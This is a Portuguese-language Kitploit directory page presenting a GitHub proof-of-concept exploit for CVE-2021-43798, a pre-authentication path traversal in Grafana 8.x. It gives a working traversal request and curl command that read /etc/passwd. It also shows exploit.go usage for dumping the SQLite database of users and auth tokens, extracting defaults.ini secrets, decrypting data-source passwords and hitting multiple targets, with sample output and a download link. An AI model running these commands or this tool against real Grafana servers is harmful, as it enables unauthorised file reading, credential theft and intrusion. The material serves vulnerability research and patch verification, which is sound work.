Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-43798 — CVE-2021-43798 - Grafana 8.x Path Traversal (Pré-Autenticação) | Kitploit
Ferramentas/GitHubGitHub/taythebot/cve-2021-43798
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoAprendizado e Educação
GitHubtaythebot/cve-2021-43798

CVE-2021-43798

CVE-2021-43798 - Grafana 8.x Path Traversal (Pré-Autenticação)

Ver Repositório
4181há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-43798

Grafana 8.x Path Traversal (Pré-Autenticação)

Todos os créditos vão para j0v e seu tweet https://twitter.com/j0v0x0/status/1466845212626542607

Isenção de Responsabilidade

Isso é apenas para fins educacionais. Não sou responsável por suas ações. Use por sua conta e risco.

De boa fé, segurei o lançamento deste PoC até que esta vulnerabilidade fosse pública ou um patch estivesse disponível.

Índice

  • Explicação - Explicando a vulnerabilidade
  • Vetores de Ataque - Lista de ataques que você pode realizar
  • Script de Exploit - Uso do script de exploit

Explicação

Notei um tweet de j0v afirmando ter encontrado um bug de path traversal no Grafana. Por curiosidade, comecei a olhar o código fonte do Grafana. No tweet, foi mencionado que era um bug pré-autenticação. Existem apenas alguns endpoints públicos de API no Grafana, e apenas um deles recebia um caminho de arquivo do usuário.

O Grafana possui um endpoint público de API, /public/plugins/:pluginId, que permite visualizar os assets de um plugin. Isso funciona fornecendo um :pluginId válido e depois especificando o caminho do arquivo, como . No entanto, o Grafana falha ao sanitizar o caminho de arquivo fornecido pelo usuário, levando a path traversal.

img/logo.png

O diretório sendo acessado está em <grafana>/public/app/plugins/panel/<pluginId>. Em uma instalação padrão do Grafana, o diretório de dados do Grafana é /usr/share/grafana. Então, retrocedendo 8 diretórios, você pode alcançar o diretório raiz do sistema de arquivos.

Requisição HTTP:

root@kitploit:~
GET -  http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Código Ofensivo: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284

Nota: Isso não funciona no navegador (que automaticamente colapsa o ../ no caminho)

Pode ser testado com curl usando o argumento --path-as-is:

root@kitploit:~
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Vetores de Ataque

Estes são alguns ataques que podem ser realizados usando esta vulnerabilidade

Extraindo o Banco de Dados Sqlite

O Grafana, por padrão, usa um banco de dados sqlite3. Este é armazenado em /var/lib/grafana/grafana.db. Você pode usar o script exploit.go para extrair este banco de dados

Exemplo:

root@kitploit:~
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db

Você pode então ler este banco de dados para obter usuários, tokens de autenticação e fontes de dados.

Extraindo o Arquivo de Configuração defaults.ini

O Grafana armazena sua configuração em um arquivo <grafana>/conf/defaults.ini. Existem alguns valores interessantes aqui, como secret_key, host, user, password se estiver usando mysql em vez de sqlite3.

Exemplo:

root@kitploit:~
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini

Referência: https://grafana.com/docs/grafana/latest/administration/configuration/

Descriptografando Senhas de Fontes de Dados

O Grafana criptografa todas as senhas de fontes de dados usando AES-256-CBC com a secret_key do arquivo de configuração defaults.ini. Podemos extrair este arquivo de configuração, como mostrado acima, e então descriptografar os valores do banco de dados.

Referência: https://grafana.com/docs/grafana/latest/administration/configuration/#secret_key

Tomada de Sessão

O Grafana armazena tokens de sessão na tabela auth_tokens. Não consegui assumir uma sessão, mas se você ler o código fonte, pode descobrir como.

Script de Exploit

Exemplo

root@kitploit:~
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798  - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)

[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

Alvo Único

root@kitploit:~
go run exploit.go -target <target> -file <path>

Saída para arquivo

root@kitploit:~
go run exploit.go -target <target> -file <path> -output <file>

Nota: Não funciona com múltiplos alvos

Múltiplos Alvos

root@kitploit:~
go run exploit.go -list <list> -file <path>

Extrair defaults.ini

root@kitploit:~
go run exploit.go -target <target> -dump-config

Extrair banco de dados sqlite3

root@kitploit:~
go run exploit.go -target <target> -dump-database

Compilar

root@kitploit:~
make build
Baixar ferramenta